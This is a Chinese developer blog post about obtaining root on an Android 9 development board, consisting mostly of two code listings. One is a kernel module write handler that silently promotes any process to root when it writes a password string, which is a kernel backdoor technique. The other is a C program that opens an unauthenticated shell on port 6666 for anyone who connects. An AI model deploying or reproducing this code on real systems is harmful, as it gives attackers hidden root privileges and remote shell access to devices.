Android9 开发板获取root权限

1、由于Android9 权限变的更加严格,在程序里面使用su拿不到root权限了

Runtime.getRuntime().exec("su"); //返回没有权限的错误

在修改源代码没有成功,也没有任何思路了。想了一些曲线救国的方法

1、使用cred 进行提权 ,参考 https://www.freebuf.com/articles/system/107829.html

static ssize_t write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;

    // WARN: Be careful. There is a chance for off-by-one NULL.
    kbuff = kmalloc(count + 1, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }
    if (copy_from_user(kbuff, buff, count)) 
    {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;
	//验证密码
    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {
        printk("%s\n", "Comrade, I will help you.");

        /* cred = (struct cred *)current_real_cred(); */
        /*根据当前进程的结构体,拿到管理权限的cred结构体*/
        cred = (struct cred *)__task_cred(current);

        // TODO: We might probably just copy the cred from pid 1.
        //修改uid,gid为root
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
        printk("%s\n", "See you!");
    } else {
        printk("Alien, get out of here: %s.\n", kbuff);
    }

    kfree(kbuff);
    return count;
}

这个不知道为什么,在Android9 上面没有拿到root,但是在Ubuntu16.04 和 18.04 上面是拿到了的
2、反弹shell(修改为root用户和用户组,以root方式执行)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

#include<netinet/in.h>
#include <sys/socket.h>

int main()
{
    
    //创建一个socket
    int listen_fd = socket(AF_INET,SOCK_STREAM,0);
        
    //配置ip port 协议
    struct sockaddr_in addrSrc,addrClient;
    addrSrc.sin_family=AF_INET;
    addrSrc.sin_port=htons(6666);
    addrSrc.sin_addr.s_addr=INADDR_ANY;
        
    //绑定
    bind(listen_fd,(struct sockaddr*)&addrSrc,sizeof(struct sockaddr_in));
 
    //监听
    listen(listen_fd,5);
    
    while(1)
    {
        int connect_fd=0;
        int len=sizeof(struct sockaddr_in);
        connect_fd=accept(listen_fd,(struct sockaddr*)&addrClient,&len);
		//将标准输入输出指定为 socket连接句柄,这样网络传输数据就是直接流入到 shell
        dup2(connect_fd,0); 
        dup2(connect_fd,1); 
        dup2(connect_fd,2); 
                
        //因为执行了 exec 程序进程就直接被替换了,所以fork一个子进程去执行
        pid_t pid = fork();
        
        if (pid < 0)
        {
            return -1;
            
        } 
        else if (pid == 0)
        {
            //调用shell
            execl("/system/bin/sh","sh",NULL);              
            exit(-1);              
        } 
        else {
            int status=0;
            wait(&status);
        }
    }    
    return 0;
}

测试
在这里插入图片描述

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值